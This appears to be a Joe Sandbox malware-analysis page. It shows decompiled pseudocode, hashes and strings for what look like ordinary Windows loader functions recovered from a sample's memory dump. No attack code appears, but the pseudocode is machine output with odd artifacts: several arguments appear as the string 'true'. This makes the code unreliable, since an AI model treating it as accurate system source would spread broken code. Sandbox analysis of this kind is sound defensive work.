Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID:
String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u$RTL: Re-Waiting
API String ID: 0-2474120054
Opcode ID: a137cec917fcf9d03be5179f86a7c18c00c896121bf6418c6652f496fb8d72c9
Instruction ID: 2f059dd6720a2a2cb83d88160dc773141d7370a786f46725eb3c5b34ba9bc772
Opcode Fuzzy Hash: a137cec917fcf9d03be5179f86a7c18c00c896121bf6418c6652f496fb8d72c9
Instruction Fuzzy Hash: 1CE1BC74608742DFE311CF29C880B1AB7E2BF88768F144A5DE5A5CB2E0DB35E945CB42

Uniqueness

Uniqueness Score: -1.00%

Function 34C8B5E0 Relevance: 4.1, Strings: 3, Instructions: 303
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E34C8B5E0(void* __ebx, void* __edi, signed int __esi, void* __eflags) {
				short _t100;
				short _t101;
				signed int* _t107;
				signed char* _t108;
				signed int _t109;
				signed int _t110;
				signed int* _t113;
				signed char* _t114;
				signed int _t115;
				signed int _t117;
				signed int _t125;
				void* _t129;
				void* _t131;
				void* _t133;
				void* _t135;
				void* _t137;
				void* _t139;
				void* _t141;
				void* _t143;
				signed int _t144;
				signed int _t145;
				signed int _t146;
				signed int _t147;
				signed int _t148;
				signed int _t150;
				short _t158;
				intOrPtr _t168;
				intOrPtr _t169;
				intOrPtr _t170;
				intOrPtr _t171;
				intOrPtr _t172;
				intOrPtr _t173;
				intOrPtr _t174;
				intOrPtr _t175;
				signed int _t184;
				signed int _t185;
				intOrPtr _t190;
				void* _t191;
				void* _t192;
				void* _t193;
				void* _t194;
				signed int _t201;
				signed int _t202;
				signed int _t205;
				signed int _t208;
				void* _t209;

				_push("true");
				_push(0x34d5bfb0);
				E34CD7C40(__ebx, __edi, __esi);
				_t185 =  *(_t209 + 8);
				 *(_t209 - 0x34) = _t185;
				 *(_t209 - 0x40) =  *(_t209 + 0x10);
				 *((intOrPtr*)(_t209 - 0x28)) = L"MUI";
				 *((intOrPtr*)(_t209 - 0x24)) = 1;
				 *((intOrPtr*)(_t209 - 0x20)) = 0;
				 *(_t209 - 0x38) =  *(_t209 + 0xc);
				 *(_t209 - 0x30) = 0;
				_t158 = 0x2e;
				 *((short*)(_t209 - 0x50)) = _t158;
				_push("true");
				_pop(_t100);
				 *((short*)(_t209 - 0x4e)) = _t100;
				 *(_t209 - 0x4c) = L"LdrResGetRCConfig Enter";
				_push("true");
				_pop(_t101);
				 *((short*)(_t209 - 0x58)) = _t101;
				 *((short*)(_t209 - 0x56)) = _t158;
				 *(_t209 - 0x54) = L"LdrResGetRCConfig Exit";
				 *(_t209 - 0x3c) =  *(_t209 + 0x14) & 0x00002000;
				asm("sbb esi, esi");
				_t205 = (__esi & 0x00001000) + 0x1000;
				_t107 =  *( *[fs:0x30] + 0x50);
				if(_t107 != 0) {
					__eflags =  *_t107;
					if( *_t107 == 0) {
						goto L1;
					}
					_t108 =  &(( *( *[fs:0x30] + 0x50))[0x8a]);
					L2:
					if(( *_t108 & 0x00000001) != 0) {
						_t109 = E34C93C40();
						_t198 = 0x7ffe0384;
						__eflags = _t109;
						if(_t109 == 0) {
							_t110 = 0x7ffe0384;
						} else {
							_t110 =  &(( *( *[fs:0x30] + 0x50))[0x8a]);
						}
						E34D0FC01(_t209 - 0x50,  *_t110 & 0x000000ff);
						_t185 =  *(_t209 - 0x34);
					} else {
						_t198 = 0x7ffe0384;
					}
					if(_t185 == 0) {
						 *(_t209 - 0x2c) = 0xc000000d;
						goto L8;
					} else {
						if( *((intOrPtr*)(_t209 + 0x18)) == 0) {
							L17:
							__eflags =  *(_t209 + 0xc);
							if( *(_t209 + 0xc) == 0) {
								__eflags =  *(_t209 - 0x3c);
								if(__eflags != 0) {
									goto L18;
								}
								_push(0);
								_push( *(_t209 + 0x14));
								_push(_t209 - 0x38);
								_push(_t185);
								_t117 = L34C8AB70(0, _t198, _t205, __eflags);
								__eflags = _t117;
								if(_t117 >= 0) {
									goto L18;
								}
								L12:
								 *[fs:0x0] =  *((intOrPtr*)(_t209 - 0x10));
								return _t117;
							}
							L18:
							_t201 = E34C8AD00( *(_t209 - 0x34),  *(_t209 - 0x38), _t205 | 0x00200030, _t209 - 0x28, 3, _t209 - 0x30, _t209 - 0x44, 0, 0);
							 *(_t209 - 0x2c) = _t201;
							__eflags = _t201;
							if(_t201 >= 0) {
								 *((intOrPtr*)(_t209 - 4)) = 0;
								_t208 =  *(_t209 - 0x30);
								__eflags =  *(_t209 - 0x3c);
								if( *(_t209 - 0x3c) != 0) {
									L56:
									 *((intOrPtr*)(_t209 - 4)) = 0xfffffffe;
									_t125 =  *(_t209 - 0x40);
									__eflags = _t125;
									if(_t125 != 0) {
										 *_t125 = _t208;
									}
									_t202 = 0;
									 *(_t209 - 0x2c) = 0;
									L23:
									__eflags =  *((char*)(_t209 + 0x18));
									if( *((char*)(_t209 + 0x18)) != 0) {
										__eflags = _t208;
										if(_t208 == 0) {
											_t208 = _t208 | 0xffffffff;
											__eflags = _t208;
										}
										_push(0);
										_push(_t202);
										_push(2);
										_push(0);
										_push(_t208);
										_push(0);
										__eflags = 0;
										E34C893A6(0,  *(_t209 - 0x34), 0, _t202, _t208, 0);
									}
									_t198 = 0x7ffe0384;
									L8:
									_t113 =  *( *[fs:0x30] + 0x50);
									if(_t113 != 0) {
										__eflags =  *_t113;
										if( *_t113 == 0) {
											goto L9;
										}
										_t114 =  &(( *( *[fs:0x30] + 0x50))[0x8a]);
										L10:
										if(( *_t114 & 0x00000001) != 0) {
											_t115 = E34C93C40();
											__eflags = _t115;
											if(_t115 != 0) {
												_t198 =  &(( *( *[fs:0x30] + 0x50))[0x8a]);
												__eflags =  &(( *( *[fs:0x30] + 0x50))[0x8a]);
											}
											E34D0FC01(_t209 - 0x58,  *_t198 & 0x000000ff);
										}
										_t117 =  *(_t209 - 0x2c);
										goto L12;
									}
									L9:
									_t114 = 0x7ffe0385;
									goto L10;
								}
								_t190 =  *((intOrPtr*)(_t208 + 4));
								__eflags = _t190 + _t208 - ( *(_t209 - 0x34) & 0xfffffffc) +  *(_t209 - 0x38);
								if(_t190 + _t208 > ( *(_t209 - 0x34) & 0xfffffffc) +  *(_t209 - 0x38)) {
									_t202 = 0xc000007b;
									 *(_t209 - 0x2c) = 0xc000007b;
									L70:
									 *((intOrPtr*)(_t209 - 4)) = 0xfffffffe;
									L21:
									__eflags = _t202;
									if(_t202 >= 0) {
										_t208 =  *(_t209 - 0x30);
									} else {
										_t208 = 0;
										 *(_t209 - 0x30) = 0;
									}
									goto L23;
								}
								_t202 = 0xc00b0003;
								 *(_t209 - 0x2c) = 0xc00b0003;
								_t168 =  *((intOrPtr*)(_t208 + 0x44));
								_t129 =  *((intOrPtr*)(_t208 + 0x48)) + _t168;
								__eflags = _t129 - _t190;
								if(_t129 > _t190) {
									goto L70;
								}
								__eflags = _t129 - _t168;
								if(_t129 < _t168) {
									goto L70;
								}
								_t169 =  *((intOrPtr*)(_t208 + 0x4c));
								_t131 =  *((intOrPtr*)(_t208 + 0x50)) + _t169;
								__eflags = _t131 - _t190;
								if(_t131 > _t190) {
									goto L70;
								}
								__eflags = _t131 - _t169;
								if(_t131 < _t169) {
									goto L70;
								}
								_t170 =  *((intOrPtr*)(_t208 + 0x54));
								_t133 =  *((intOrPtr*)(_t208 + 0x58)) + _t170;
								__eflags = _t133 - _t190;
								if(_t133 > _t190) {
									goto L70;
								}
								__eflags = _t133 - _t170;
								if(_t133 < _t170) {
									goto L70;
								}
								_t171 =  *((intOrPtr*)(_t208 + 0x5c));
								_t135 =  *((intOrPtr*)(_t208 + 0x60)) + _t171;
								__eflags = _t135 - _t190;
								if(_t135 > _t190) {
									goto L70;
								}
								__eflags = _t135 - _t171;
								if(_t135 < _t171) {
									goto L70;
								}
								_t172 =  *((intOrPtr*)(_t208 + 0x64));
								_t137 =  *((intOrPtr*)(_t208 + 0x68)) + _t172;
								__eflags = _t137 - _t190;
								if(_t137 > _t190) {
									goto L70;
								}
								__eflags = _t137 - _t172;
								if(_t137 < _t172) {
									goto L70;
								}
								_t173 =  *((intOrPtr*)(_t208 + 0x6c));
								_t139 =  *((intOrPtr*)(_t208 + 0x70)) + _t173;
								__eflags = _t139 - _t190;
								if(_t139 > _t190) {
									goto L70;
								}
								__eflags = _t139 - _t173;
								if(_t139 < _t173) {
									goto L70;
								}
								_t174 =  *((intOrPtr*)(_t208 + 0x74));
								_t141 =  *((intOrPtr*)(_t208 + 0x78)) + _t174;
								__eflags = _t141 - _t190;
								if(_t141 > _t190) {
									goto L70;
								}
								__eflags = _t141 - _t174;
								if(_t141 < _t174) {
									goto L70;
								}
								_t175 =  *((intOrPtr*)(_t208 + 0x7c));
								_t143 =  *((intOrPtr*)(_t208 + 0x80)) + _t175;
								__eflags = _t143 - _t190;
								if(_t143 > _t190) {
									goto L70;
								}
								__eflags = _t143 - _t175;
								if(_t143 < _t175) {
									goto L70;
								}
								__eflags =  *_t208 - 0xfecdfecd;
								if( *_t208 != 0xfecdfecd) {
									goto L70;
								}
								__eflags = _t190 -  *((intOrPtr*)(_t209 - 0x44));
								if(_t190 !=  *((intOrPtr*)(_t209 - 0x44))) {
									goto L70;
								}
								__eflags =  *((intOrPtr*)(_t208 + 8)) - 0x10000;
								if( *((intOrPtr*)(_t208 + 8)) != 0x10000) {
									goto L70;
								}
								_t176 =  *(_t208 + 0xc);
								__eflags =  *(_t208 + 0xc);
								if( *(_t208 + 0xc) != 0) {
									_t191 = 7;
									_t144 = E34CBB95A(_t176, _t191);
									__eflags = _t144;
									if(_t144 == 0) {
										goto L70;
									}
								}
								_t192 = 3;
								_t145 = E34CBB95A( *(_t208 + 0x10) & 0xffffffcf, _t192);
								__eflags = _t145;
								if(_t145 == 0) {
									goto L70;
								}
								_push("true");
								_pop(_t193);
								_t146 = E34CBB95A( *(_t208 + 0x10) & 0xfffffffc, _t193);
								__eflags = _t146;
								if(_t146 == 0) {
									goto L70;
								}
								__eflags =  *(_t208 + 0x10) & 0x00000001;
								if(( *(_t208 + 0x10) & 0x00000001) == 0) {
									L55:
									 *(_t209 - 0x2c) = 0;
									goto L56;
								}
								_t194 = 3;
								_t147 = E34CBB95A( *((intOrPtr*)(_t208 + 0x18)), _t194);
								__eflags = _t147;
								if(_t147 == 0) {
									goto L70;
								}
								_t182 =  *(_t208 + 0x14);
								__eflags =  *(_t208 + 0x14);
								if( *(_t208 + 0x14) != 0) {
									_t148 = E34CBB95A(_t182, 0x100);
									__eflags = _t148;
									if(_t148 == 0) {
										goto L70;
									}
								}
								goto L55;
							}
							__eflags = _t201 - 0xc000007b;
							if(_t201 != 0xc000007b) {
								_t202 = 0xc000008a;
								 *(_t209 - 0x2c) = 0xc000008a;
							}
							goto L21;
						}
						_t150 = E34C8D530( *(_t209 - 0x34), 0, 0, "true");
						 *(_t209 - 0x30) = _t150;
						if(_t150 != 0xffffffff) {
							__eflags = _t150;
							if(_t150 == 0) {
								_t185 =  *(_t209 - 0x34);
								goto L17;
							} else {
								 *(_t209 - 0x2c) = 0;
								_t184 =  *(_t209 - 0x40);
								__eflags = _t184;
								if(_t184 != 0) {
									 *_t184 = _t150;
								}
								goto L8;
							}
						} else {
							 *(_t209 - 0x2c) = 0xc000008a;
							goto L8;
						}
					}
				}
				L1:
				_t108 = 0x7ffe0385;
				goto L2;
			}

0x34c8b5e0
0x34c8b5e2
0x34c8b5e7
0x34c8b5ec
0x34c8b5ef
0x34c8b5f5
0x34c8b5f8
0x34c8b5ff
0x34c8b608
0x34c8b60e
0x34c8b611
0x34c8b616
0x34c8b617
0x34c8b61b
0x34c8b61d
0x34c8b61e
0x34c8b622
0x34c8b629
0x34c8b62b
0x34c8b62c
0x34c8b630
0x34c8b634
0x34c8b643
0x34c8b648
0x34c8b651
0x34c8b659
0x34c8b65e
0x34ce363b
0x34ce363d
0x00000000
0x00000000
0x34ce364c
0x34c8b669
0x34c8b66c
0x34ce3656
0x34ce365b
0x34ce3660
0x34ce3662
0x34ce3674
0x34ce3664
0x34ce366d
0x34ce366d
0x34ce367c
0x34ce3681
0x34c8b672
0x34c8b672
0x34c8b672
0x34c8b679
0x34ce3689
0x00000000
0x34c8b67f
0x34c8b682
0x34c8b6e9
0x34c8b6e9
0x34c8b6ec
0x34c8b8ee
0x34c8b8f1
0x00000000
0x00000000
0x34c8b8f7
0x34c8b8f8
0x34c8b8fe
0x34c8b8ff
0x34c8b900
0x34c8b905
0x34c8b907
0x00000000
0x00000000
0x34c8b6c2
0x34c8b6c5
0x34c8b6d1
0x34c8b6d1
0x34c8b6f2
0x34c8b714
0x34c8b716
0x34c8b719
0x34c8b71b
0x34c8b762
0x34c8b765
0x34c8b768
0x34c8b76c
0x34c8b8d4
0x34c8b8d4
0x34c8b8db
0x34c8b8de
0x34c8b8e0
0x34c8b8e2
0x34c8b8e2
0x34c8b8e4
0x34c8b8e6
0x34c8b73a
0x34c8b73a
0x34c8b73e
0x34c8b740
0x34c8b742
0x34c8b744
0x34c8b744
0x34c8b744
0x34c8b747
0x34c8b748
0x34c8b749
0x34c8b74b
0x34c8b74c
0x34c8b74d
0x34c8b74e
0x34c8b753
0x34c8b753
0x34c8b758
0x34c8b6a0
0x34c8b6a6
0x34c8b6ab
0x34ce36f3
0x34ce36f6
0x00000000
0x00000000
0x34ce3705
0x34c8b6b6
0x34c8b6b9
0x34ce370f
0x34ce3714
0x34ce3716
0x34ce3721
0x34ce3721
0x34ce3721
0x34ce372d
0x34ce372d
0x34c8b6bf
0x00000000
0x34c8b6bf
0x34c8b6b1
0x34c8b6b1
0x00000000
0x34c8b6b1
0x34c8b772
0x34c8b781
0x34c8b783
0x34ce3695
0x34ce369a
0x34ce36ad
0x34ce36ad
0x34c8b72d
0x34c8b72d
0x34c8b72f
0x34ce36eb
0x34c8b735
0x34c8b735
0x34c8b737
0x34c8b737
0x00000000
0x34c8b72f
0x34c8b789
0x34c8b78e
0x34c8b791
0x34c8b797
0x34c8b799
0x34c8b79b
0x00000000
0x00000000
0x34c8b7a1
0x34c8b7a3
0x00000000
0x00000000
0x34c8b7a9
0x34c8b7af
0x34c8b7b1
0x34c8b7b3
0x00000000
0x00000000
0x34c8b7b9
0x34c8b7bb
0x00000000
0x00000000
0x34c8b7c1
0x34c8b7c7
0x34c8b7c9
0x34c8b7cb
0x00000000
0x00000000
0x34c8b7d1
0x34c8b7d3
0x00000000
0x00000000
0x34c8b7d9
0x34c8b7df
0x34c8b7e1
0x34c8b7e3
0x00000000
0x00000000
0x34c8b7e9
0x34c8b7eb
0x00000000
0x00000000
0x34c8b7f1
0x34c8b7f7
0x34c8b7f9
0x34c8b7fb
0x00000000
0x00000000
0x34c8b801
0x34c8b803
0x00000000
0x00000000
0x34c8b809
0x34c8b80f
0x34c8b811
0x34c8b813
0x00000000
0x00000000
0x34c8b819
0x34c8b81b
0x00000000
0x00000000
0x34c8b821
0x34c8b827
0x34c8b829
0x34c8b82b
0x00000000
0x00000000
0x34c8b831
0x34c8b833
0x00000000
0x00000000
0x34c8b839
0x34c8b842
0x34c8b844
0x34c8b846
0x00000000
0x00000000
0x34c8b84c
0x34c8b84e
0x00000000
0x00000000
0x34c8b854
0x34c8b85a
0x00000000
0x00000000
0x34c8b860
0x34c8b863
0x00000000
0x00000000
0x34c8b869
0x34c8b870
0x00000000
0x00000000
0x34c8b876
0x34c8b879
0x34c8b87b
0x34ce36bb
0x34ce36bc
0x34ce36c1
0x34ce36c3
0x00000000
0x00000000
0x34ce36c5
0x34c8b889
0x34c8b88a
0x34c8b88f
0x34c8b891
0x00000000
0x00000000
0x34c8b89d
0x34c8b89f
0x34c8b8a0
0x34c8b8a5
0x34c8b8a7
0x00000000
0x00000000
0x34c8b8ad
0x34c8b8b1
0x34c8b8d1
0x34c8b8d1
0x00000000
0x34c8b8d1
0x34c8b8b5
0x34c8b8b9
0x34c8b8be
0x34c8b8c0
0x00000000
0x00000000
0x34c8b8c6
0x34c8b8c9
0x34c8b8cb
0x34ce36cf
0x34ce36d4
0x34ce36d6
0x00000000
0x00000000
0x34ce36d8
0x00000000
0x34c8b8cb
0x34c8b71d
0x34c8b723
0x34c8b725
0x34c8b72a
0x34c8b72a
0x00000000
0x34c8b723
0x34c8b68c
0x34c8b691
0x34c8b697
0x34c8b6d4
0x34c8b6d6
0x34c8b6e6
0x00000000
0x34c8b6d8
0x34c8b6d8
0x34c8b6db
0x34c8b6de
0x34c8b6e0
0x34c8b6e2
0x34c8b6e2
0x00000000
0x34c8b6e0
0x34c8b699
0x34c8b699
0x00000000
0x34c8b699
0x34c8b697
0x34c8b679
0x34c8b664
0x34c8b664
0x00000000

Strings

MUI, xrefs: 34C8B5F8, 34C8B707
LdrResGetRCConfig Enter, xrefs: 34C8B622
LdrResGetRCConfig Exit, xrefs: 34C8B634

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID:
String ID: LdrResGetRCConfig Enter$LdrResGetRCConfig Exit$MUI
API String ID: 0-1145731471
Opcode ID: 3d75bb44313cc2ad8fd57de8b49ae4b9b65fbbeb91a7750b50ecca329cb51936
Instruction ID: a7ffa5a1bfd145321676fb27003bc9960e442059fbdafadefe02321b475461ae
Opcode Fuzzy Hash: 3d75bb44313cc2ad8fd57de8b49ae4b9b65fbbeb91a7750b50ecca329cb51936
Instruction Fuzzy Hash: AFB16875A50705CFEB18CE65C990BADB7BABF44759F14852DE861EB7A0E730E880CB10

Uniqueness

Uniqueness Score: -1.00%

Function 34C7A147 Relevance: 4.0, Strings: 3, Instructions: 238
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E34C7A147(signed int* __ecx, char* __edx, signed int _a4) {
				signed int _v12;
				intOrPtr _v548;
				intOrPtr _v552;
				intOrPtr _v556;
				char _v560;
				signed int _v564;
				intOrPtr _v568;
				char _v572;
				intOrPtr _v576;
				short _v578;
				char _v580;
				signed int _v584;
				intOrPtr _v586;
				char _v588;
				char* _v592;
				intOrPtr _v596;
				intOrPtr _v600;
				char* _v604;
				signed int* _v608;
				intOrPtr _v612;
				short _v614;
				char _v616;
				signed int _v620;
				signed int _v624;
				intOrPtr _v628;
				char* _v632;
				signed int _v636;
				char _v640;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t94;
				char _t96;
				char* _t101;
				intOrPtr _t120;
				void* _t121;
				intOrPtr _t125;
				short _t129;
				signed int* _t140;
				intOrPtr _t141;
				intOrPtr _t146;
				intOrPtr _t148;
				intOrPtr _t151;
				signed int _t153;
				signed int _t154;
				void* _t155;
				signed int _t157;

				_t152 = __edx;
				_v12 =  *0x34d7b370 ^ _t157;
				_v564 = _v564 & 0x00000000;
				_t154 = _a4;
				_t140 = __ecx;
				_v604 = __edx;
				_v608 = __ecx;
				_t153 = 0;
				_v568 = 0x220;
				_v592 =  &_v560;
				if(E34CA1D10( &_v580, L"UseFilter") < 0) {
					L4:
					return L34CC4B50(_t90, _t140, _v12 ^ _t157, _t152, _t153, _t154);
				}
				_push( &_v572);
				_push(0x220);
				_push( &_v560);
				_t94 = 2;
				_push(_t94);
				_push( &_v580);
				_push( *_t140);
				_t90 = L34CC2B00();
				if(_t90 >= 0) {
					if(_v556 != 4 || _v552 != 4 || _v548 == 0) {
						L3:
						_t90 = 0;
					} else {
						_t96 =  *_t154;
						_t154 =  *(_t154 + 4);
						_v588 = _t96;
						_v584 = _t154;
						if(E34CA1D10( &_v580, L"\\??\\") < 0) {
							goto L4;
						}
						if(E34CB40F0( &_v560,  &_v580,  &_v588, 1) != 0) {
							_v588 = _v588 + 0xfff8;
							_v586 = _v586 + 0xfff8;
							_v584 = _t154 + 8;
						}
						_t101 =  &_v560;
						_t146 = 0;
						_v596 = _t101;
						_v600 = 0;
						do {
							_t152 =  &_v572;
							_push( &_v572);
							_push(_v568);
							_push(_t101);
							_push(0);
							_push(_t146);
							_push( *_t140);
							_t154 = E34CC2CD0();
							if(_t154 < 0) {
								goto L37;
							}
							_t148 = _v596;
							_v580 =  *((intOrPtr*)(_t148 + 0xc));
							_v624 = _v624 & 0x00000000;
							_v620 = _v620 & 0x00000000;
							_v578 =  *((intOrPtr*)(_t148 + 0xc));
							_v576 = _t148 + 0x10;
							_v636 =  *_t140;
							_v632 =  &_v580;
							_push( &_v640);
							_push(_v604);
							_v640 = 0x18;
							_push( &_v564);
							_v628 = 0x240;
							_t154 = E34CC2AB0();
							if(_t154 < 0) {
								goto L37;
							}
							_t154 = E34CA1D10( &_v580, L"FilterFullPath");
							if(_t154 < 0) {
								L36:
								_push(_v564);
								E34CC2A80();
								goto L37;
							}
							_t141 = _v592;
							_t120 = _v568;
							do {
								_push( &_v572);
								_push(_t120);
								_push(_t141);
								_t121 = 2;
								_push(_t121);
								_push( &_v580);
								_push(_v564);
								_t155 = L34CC2B00();
								if(_t155 == 0x80000005 || _t155 == 0xc0000023) {
									if(_t153 != 0) {
										L34C93BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t153);
									}
									_t150 =  *((intOrPtr*)( *[fs:0x30] + 0x18));
									if( *((intOrPtr*)( *[fs:0x30] + 0x18)) != 0) {
										_t125 =  *0x34d75d78; // 0x0
										_t153 = E34C95D90(_t150, _t150, _t125 + 0x180000, _v572);
										if(_t153 == 0) {
											goto L25;
										}
										_t120 = _v572;
										_t141 = _t153;
										_v596 = _t153;
										_v568 = _t120;
										goto L27;
									} else {
										_t153 = 0;
										L25:
										_t154 = 0xc0000017;
										goto L26;
									}
								} else {
									L26:
									_t120 = _v568;
								}
								L27:
							} while (_t154 == 0x80000005 || _t154 == 0xc0000023);
							_v592 = _t141;
							_t140 = _v608;
							if(_t154 >= 0) {
								_t151 = _v592;
								if( *((intOrPtr*)(_t151 + 4)) == 1 &&  *((intOrPtr*)(_t151 + 8)) <= 0xfffe) {
									_t152 = 2;
									_t129 =  *((intOrPtr*)(_t151 + 8)) - _t152;
									_v616 = _t129;
									_v614 = _t129;
									_v612 = _t151 + 0xc;
									if(E34CA04C0( &_v588,  &_v616, 1) == 0) {
										break;
									}
								}
								goto L36;
							}
							_push(_v564);
							E34CC2A80();
							_t65 = _t154 + 0x3fffffcc; // 0x3fffffcc
							asm("sbb eax, eax");
							_t154 = _t154 &  ~_t65;
							L37:
							_t101 = _v596;
							_t146 = _v600 + 1;
							_v600 = _t146;
						} while (_t154 >= 0);
						if(_t153 != 0) {
							L34C93BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t153);
						}
						if(_t154 >= 0) {
							_push( *_t140);
							E34CC2A80();
							 *_t140 = _v564;
						}
						_t86 = _t154 + 0x7fffffe6; // 0x7fffffe6
						asm("sbb eax, eax");
						_t90 =  ~_t86 & _t154;
					}
					goto L4;
				}
				if(_t90 != 0xc0000034) {
					if(_t90 == 0xc0000023) {
						goto L3;
					}
					if(_t90 != 0x80000005) {
						goto L4;
					}
				}
				goto L3;
			}

0x34c7a147
0x34c7a159
0x34c7a15c
0x34c7a16b
0x34c7a16e
0x34c7a17c
0x34c7a183
0x34c7a189
0x34c7a18b
0x34c7a195
0x34c7a1a2
0x34c7a1de
0x34c7a1ec
0x34c7a1ec
0x34c7a1aa
0x34c7a1ab
0x34c7a1b6
0x34c7a1b9
0x34c7a1ba
0x34c7a1c1
0x34c7a1c2
0x34c7a1c4
0x34c7a1cb
0x34cdbf43
0x34c7a1dc
0x34c7a1dc
0x34cdbf62
0x34cdbf62
0x34cdbf64
0x34cdbf67
0x34cdbf79
0x34cdbf86
0x00000000
0x00000000
0x34cdbfa3
0x34cdbfaa
0x34cdbfb1
0x34cdbfbb
0x34cdbfbb
0x34cdbfc1
0x34cdbfc7
0x34cdbfc9
0x34cdbfcf
0x34cdbfd5
0x34cdbfd5
0x34cdbfdb
0x34cdbfdc
0x34cdbfe2
0x34cdbfe3
0x34cdbfe5
0x34cdbfe6
0x34cdbfed
0x34cdbff1
0x00000000
0x00000000
0x34cdbff7
0x34cdc001
0x34cdc00c
0x34cdc013
0x34cdc01a
0x34cdc024
0x34cdc02c
0x34cdc038
0x34cdc044
0x34cdc045
0x34cdc051
0x34cdc05b
0x34cdc05c
0x34cdc06b
0x34cdc06f
0x00000000
0x00000000
0x34cdc086
0x34cdc08a
0x34cdc1ba
0x34cdc1ba
0x34cdc1c0
0x00000000
0x34cdc1c0
0x34cdc090
0x34cdc096
0x34cdc09c
0x34cdc0a2
0x34cdc0a3
0x34cdc0a4
0x34cdc0a7
0x34cdc0a8
0x34cdc0af
0x34cdc0b0
0x34cdc0bb
0x34cdc0c3
0x34cdc0cf
0x34cdc0dd
0x34cdc0dd
0x34cdc0e8
0x34cdc0ed
0x34cdc138
0x34cdc14f
0x34cdc153
0x00000000
0x00000000
0x34cdc155
0x34cdc15b
0x34cdc15d
0x34cdc163
0x00000000
0x34cdc0ef
0x34cdc0ef
0x34cdc0f1
0x34cdc0f1
0x00000000
0x34cdc0f1
0x34cdc0f6
0x34cdc0f6
0x34cdc0f6
0x34cdc0f6
0x34cdc0fc
0x34cdc0fc
0x34cdc10c
0x34cdc112
0x34cdc11a
0x34cdc16b
0x34cdc175
0x34cdc186
0x34cdc187
0x34cdc18a
0x34cdc191
0x34cdc19b
0x34cdc1b8
0x00000000
0x00000000
0x34cdc1b8
0x00000000
0x34cdc175
0x34cdc11c
0x34cdc122
0x34cdc127
0x34cdc12f
0x34cdc131
0x34cdc1c5
0x34cdc1cb
0x34cdc1d1
0x34cdc1d2
0x34cdc1d8
0x34cdc1e2
0x34cdc1f0
0x34cdc1f0
0x34cdc1f7
0x34cdc1f9
0x34cdc1fb
0x34cdc206
0x34cdc206
0x34cdc208
0x34cdc210
0x34cdc212
0x34cdc212
0x00000000
0x34cdbf43
0x34c7a1d6
0x34cdbf26
0x00000000
0x00000000
0x34cdbf31
0x00000000
0x00000000
0x34cdbf37
0x00000000

Strings

FilterFullPath, xrefs: 34CDC075
\??\, xrefs: 34CDBF73
UseFilter, xrefs: 34C7A171

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID:
String ID: FilterFullPath$UseFilter$\??\
API String ID: 0-2779062949
Opcode ID: 1ebf0bc35e73f50d33f356aca520e77778fcf25ac6493121ff5d59d15848b334
Instruction ID: 011f27554d52082f566b30be9137f888f6cac8a2f0002e602b7914c1bb758d04
Opcode Fuzzy Hash: 1ebf0bc35e73f50d33f356aca520e77778fcf25ac6493121ff5d59d15848b334
Instruction Fuzzy Hash: E3A16F75901629DFEB219F24CC88B9AB7BAEF09710F1041E9DA09E7250DB359EC5CF50

Uniqueness

Uniqueness Score: -1.00%

Function 34D5B2BC Relevance: 3.9, Strings: 3, Instructions: 180
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E34D5B2BC(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, signed int* _a8) {
				signed int _v8;
				char _v532;
				signed int* _v536;
				signed int _v540;
				intOrPtr _v544;
				signed int _v546;
				signed int _v548;
				signed int _v552;
				intOrPtr _v556;
				intOrPtr _v560;
				char _v564;
				char _v572;
				intOrPtr _v576;
				intOrPtr _v580;
				intOrPtr _v584;
				signed int* _v588;
				intOrPtr _v592;
				char _v596;
				char _v600;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t66;
				void* _t70;
				void* _t73;
				void* _t82;
				void* _t86;
				void* _t89;
				intOrPtr* _t101;
				intOrPtr _t112;
				signed int _t114;
				signed int _t115;

				_t111 = __edx;
				_v8 =  *0x34d7b370 ^ _t115;
				_v556 = _a4;
				_t112 = 0;
				_v540 = _v540 & 0;
				_v536 = _a8;
				_v560 = __ecx;
				_t101 = E34C95D90(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), "true", "true");
				if(_t101 == 0) {
					_t113 = 0xc0000017;
					L4:
					if(_t113 < 0) {
						L25:
						if(_t101 != 0) {
							L34C93BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t101);
						}
						return L34CC4B50(_t113, _t101, _v8 ^ _t115, _t111, _t112, _t113);
					} else {
						_t66 =  *((intOrPtr*)(_t112 + 1));
						if(_t66 < 2 || _t66 == 5 &&  *((intOrPtr*)(_t112 + 8)) == 0x15 &&  *((intOrPtr*)(_t112 + 0x18)) == 0x1f7) {
							_t113 = 0xc0000136;
							_v540 = 1;
							 *_v536 =  *_v536 & 0x00000000;
						}
						_t124 = _t113;
						if(_t113 >= 0) {
							_t70 = E34CA39C0(_t101, _t113, _t124,  &_v572, _t112, 1);
							_t113 = _t70;
							if(_t70 >= 0) {
								_v552 = _v552 & 0x00000000;
